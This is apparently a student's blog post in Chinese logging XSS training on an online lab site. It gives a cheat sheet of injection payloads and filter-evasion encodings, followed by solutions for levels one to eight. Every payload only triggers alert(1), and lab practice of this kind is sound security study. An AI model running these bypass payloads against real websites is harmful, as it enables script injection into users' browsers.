8月2日xss漏洞分析训练

题记:
今天老师也出了三道题,但是对于XSS而言题目数量少,较难组织成规律,因此找了这个在线网址可实现在线做题。
思路:
做题以前先理顺一下思路,首先传统语句测试

//script脚本风格
<script>alert(1)</script>
<script>window.data = alert(1)</script>(意义不大)

//img标签
<img src="" onerror=alert(1);>

//href链接
<a href="javascript:alert(1)">click here</a>

//input形式
<input onfocus="alert(1);" autofocus>

//svg形式
<svg onload=alert(1);>

//iframe标签
<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss');></iframe>

//textarea标签
<textarea onfocus=alert("xss"); autofocus>

其次绕过方式,关键字绕过

//空格绕过,用/代替空格	
<img/src="x"/onerror=alert("xss");>

//大小写绕过	 
<ImG sRc=x onerRor=alert("xss");>

//双写关键字	 
<imimgg srsrcc=x onerror=alert("xss");>

//字符拼接	
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">		<script>top["al"+"ert"](`xss`);</script>		

再然后,编码绕过

//Unicode绕过
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

//url编码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>		

//ASCII码
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

//Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

//Base64编码
<img src="x" onerror="eval(atob('YWxlcnQoJ3hzcycp'))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">		

再再然后,特殊字符过滤绕过

//过滤括号,当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

//过滤双引号,单引号只能使用反引号
<img src=1 onerror=alert`1`;>

还有特殊情况

一:js事件
当某个位置的可控点在一个标签内,那么或许可以通过js事件来完成xss操作
二:混淆:利用html标签格式的不严格、容错性。
关键字中加空格
加TAB
回车

最后,留待补充
1st: οnclick=alert(1)

第一关

题目:
在这里插入图片描述
解题:
没有输入框,地址上出现name=test字样,尝试输入弹窗代码测试
payload:

https://xss.tesla-space.com/level1.php?name=<script>alert(1)</script>

第二关

题目:
在这里插入图片描述
解题:
有搜索框,尝试输入无果,右键查看源代码
在这里插入图片描述

<input name=keyword  value="<script>alert(1)</script>">
//构造paylod,需要注意一是闭合语句,二是凑XSS语句

闭合需要">,因此构造payload

"><script>alert(1)</script>

第三关

题目:
在这里插入图片描述
解题:
尝试输入上一关的payload(纯粹是因为既有闭合又能测试,特别省事)">,发现无法弹窗,右键查看源代码
在这里插入图片描述
代码分析:

<input name=keyword  value='&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>
//代码将<>进行了编码,且应是通过'闭合而不是"

构造payload:

'onclick='alert(1)

第四关

题目:
在这里插入图片描述
解题:
同样的输入上一关的payload,'onlick='alert(1),进不去,右键源代码
在这里插入图片描述
嗐,又变成"了,修改再次注入,get
payload:

"onclick="alert(1)

第五关

题目:
在这里插入图片描述
解题:
测试一下,"οnclick="alert(1),右键源代码
在这里插入图片描述
代码分析:

<input name=keyword  value=""o_nclick="alert(1)">
//on被替换成了o_n,可尝试其他不带on的语句

初步筛选后,不带on的就<script>hrefiframe
然后再进一步测试发现cr被替换成c_r,iframe并不能用,他会把弹窗内容改成自己输入的,最后只有href
payload:

"><a href="javascript:alert(1)">click here</a>

第六关

题目:
在这里插入图片描述
解题:
上一题"><a href="javascript:alert(1)">click here</a>,右键代码
在这里插入图片描述
代码分析:

<input name=keyword  value=""><a hr_ef="javascript:alert(1)">click here</a>">
//href被替换为hr_ef

筛选合适的语句格式,"onclick="alert(1)发现on变成了o_n,"><script>alert(1)</script>变成了sc_ript,发现没有其他语句了,只能考虑其他方式,如大小写绕过
payload:

"><a HREF="javascript:alert(1)">click here</a>

第七关

题目:
在这里插入图片描述
解题:
上一题的payload:"><a HREF="javascript:alert(1)">click here</a>右键源代码

在这里插入图片描述

代码分析:

<input name=keyword  value=""><a ="java:alert(1)">click here</a>">
//href和script没了!双写不解释

payload:

"><a hrhrefef='javascripscriptt:alert(1)'>click here</a>
//这个题稍微有些问题,去掉click here可能在下面点击链接,而且需要将"改为'

第八关

题目:
在这里插入图片描述
解题:
上上一关的payload"><a href="javascript:alert(1)">右键源代码
在这里插入图片描述

代码分析:

<input name=keyword  value="&quot;&gt;&lt;a href=&quot;javascript:alert(1)&quot;&gt;">
//发现">被转成url编码了

</center><center><BR><a href="&quot><a hr_ef=&quotjavascr_ipt:alert(1)&quot>">
//且本身就有a href=" 因此仅需要添加后面内容即可

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
//javascript:alert(1)的html编码

猜你喜欢

转载自blog.csdn.net/slc3315/article/details/107747127